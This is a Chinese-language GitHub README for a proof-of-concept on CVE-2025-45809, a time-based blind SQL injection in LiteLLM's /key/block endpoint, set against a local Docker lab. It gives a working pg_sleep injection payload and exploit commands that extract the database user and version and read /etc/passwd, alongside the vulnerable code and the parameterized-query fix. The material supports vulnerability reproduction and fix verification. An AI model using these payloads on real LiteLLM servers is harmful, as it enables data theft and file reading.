learner202649/CVE-2025-45809-PoC
GitHub: learner202649/CVE-2025-45809-PoC
一个针对LiteLLM SQL注入漏洞CVE-2025-45809的PoC代码,用于复现漏洞并辅助安全测试与修复验证。
Stars: 0 | Forks: 0
# CVE-2025-45809 — LiteLLM 通过 `/key/block` 端点发生的 SQL 注入(基于时间的盲注)
| 字段 | 值 |
|------|------|
| **CVE** | **CVE-2025-45809** |
| **GHSA** | GHSA-cgmh-xxmq-hp46 |
| **CVSS v3.1** | **5.4 (中危)** — `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` |
| **CWE** | CWE-89 (SQL注入) |
| **受影响版本** | LiteLLM **< 1.81.0**(已在 v1.65.4 中确认) |
| **修复版本** | **v1.81.0+**(通过参数化查询修复) |
| **发布日期** | 2025-07-03 |
| **发现者** | shadia0 (通过 Huntr 赏金计划) |
| **相关链接** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-45809) • [Huntr](https://huntr.com/bounties/3e6e4d40-b06a-4f54-a3ed-cc93584b12f3) • [Snyk](https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-10598343) |
## 漏洞描述
LiteLLM 的 `/key/block` 和 `/key/unblock` 端点用于管理 API 密钥的封禁/解封。
这两个端点在处理 `key` 参数时,直接将用户输入拼接到 SQL 查询字符串中(使用 f-string 格式化),**没有使用参数化查询**,导致 SQL 注入漏洞。
### 漏洞端点
| 端点 | 方法 | 注入参数 |
|------|------|----------|
| `/key/block` | POST | `key` (JSON body) |
| `/key/unblock` | POST | `key` (JSON body) |
### 攻击向量
- **基于时间的盲注**:利用 PostgreSQL 的 `pg_sleep()` 函数,通过响应时间差确认注入
- **数据窃取**:通过条件时间查询逐字符提取数据库内容
- **文件读取**:利用 PostgreSQL 的 `pg_read_file()` 函数读取服务器文件
## 漏洞验证(PoC)
### 快速开始(Docker)
```
# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
```
# 4. 提取数据库当前用户
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
# 5. 提取 PostgreSQL 版本
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
# 6. 尝试读取 /etc/passwd
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
# 7. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
```
### 预期输出
**注入确认 (--mode check):**
```
# 技术细节
[存在漏洞] CVE-2025-45809 — SQL 注入确认
目标 : http://localhost:4000
端点 : /key/block
[*] 步骤 1: 测量基准响应时间...
基准时间: 0.01秒 (HTTP 401)
[*] 步骤 2: 测试基本注入(SQL 注释)...
注释测试: 0.00秒 (HTTP 200)
[*] 步骤 3: 测试 pg_sleep(3) 注入...
pg_sleep(3): 3.01秒 (N/A)
[*] 步骤 4: 测试 pg_sleep(5) 注入...
pg_sleep(5): 5.01秒 (N/A)
[*] 分析:
基准时间: 0.01秒
pg_sleep(3): 3.01秒 (预期约3秒)
pg_sleep(5): 5.01秒 (预期约5秒)
[🔥] 漏洞确认!pg_sleep() 注入成功!
响应时间从 0.01秒 增加到 5.01秒
```
**修复版本拒绝注入:**
```
# API 文档
[已修复] CVE-2025-45809 — SQL 注入确认
目标 : http://localhost:4001
端点 : /key/block
[*] 步骤 1: 测量基准响应时间...
基准时间: 0.00秒 (HTTP 400)
[*] 步骤 2: 测试基本注入(SQL 注释)...
注释测试: 0.00秒 (HTTP N/A)
[*] 步骤 3: 测试 pg_sleep(3) 注入...
pg_sleep(3): 0.00秒 (N/A)
[*] 步骤 4: 测试 pg_sleep(5) 注入...
pg_sleep(5): 0.00秒 (N/A)
[*] 分析:
基准时间: 0.00秒
pg_sleep(3): 0.00秒 (预期约3秒)
pg_sleep(5): 0.00秒 (预期约5秒)
[+] 修复版本: 未检测到时间延迟(符合预期)。
```
---
## 配置指南
### 漏洞代码
在 LiteLLM v1.65.4 中,`/key/block` 端点的处理逻辑类似如下(简化版):
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
```
### 注入原理
攻击者在 `key` 参数中注入 PostgreSQL 的时间延迟函数:
```
' OR (SELECT pg_sleep(5)) IS NULL --
```
拼接后的 SQL 变为:
```
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
```
### 时间差对比
| 测试场景 | 响应时间 | 结论 |
|----------|----------|------|
| 正常请求 (key=test) | ~0.01秒 | 基线 |
| pg_sleep(3) | ~3.01秒 | 注入生效 |
| pg_sleep(5) | ~5.01秒 | 注入确认 |
### 前置条件:数据库表初始化
LiteLLM v1.65.4 使用 Prisma ORM 管理数据库。`Key` 表采用**懒创建**策略——在首次调用 `/key/generate` 创建 API key 之前,`Key` 表在 PostgreSQL 中尚不存在。这导致 `/key/block` 端点的 key 校验查询(`WHERE key='{input}'`)在执行到存在注入漏洞的 SQL 代码路径之前即因表不存在而返回 401。
**当前 PoC 已自动处理此问题**:exploit 脚本在发送注入 payload 之前,会先调用 `/key/generate` 创建一个 API key,确保数据库表就绪。
## 环境配置
```
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
```
## 修复方案
在 v1.81.0 中修复,改用**参数化查询**(Prepared Statements)替代 f-string 拼接:
```
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
```
### 缓解措施
1. **升级** LiteLLM 到 **v1.81.0+**
2. 使用 **参数化查询** 替代字符串拼接
3. 对 `key` 参数实施严格的输入验证
4. 部署 WAF 拦截 SQL 注入模式
## 参考资料
- [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-45809)
- [Huntr 赏金计划](https://huntr.com/bounties/3e6e4d40-b06a-4f54-a3ed-cc93584b12f3)
- [Snyk 安全公告](https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-10598343)
- [GitHub PoC (shadia0/Patienc)](https://github.com/shadia0/Patienc/blob/main/litellm/SQL_injection.md)
标签:API安全, CISA项目, CVE-2025-45809, Docker, JSON输出, LiteLLM, PostgreSQL, Python, Web安全, 代码复现, 安全测试, 安全防御评估, 攻击性安全, 无后门, 时间盲注, 测试用例, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护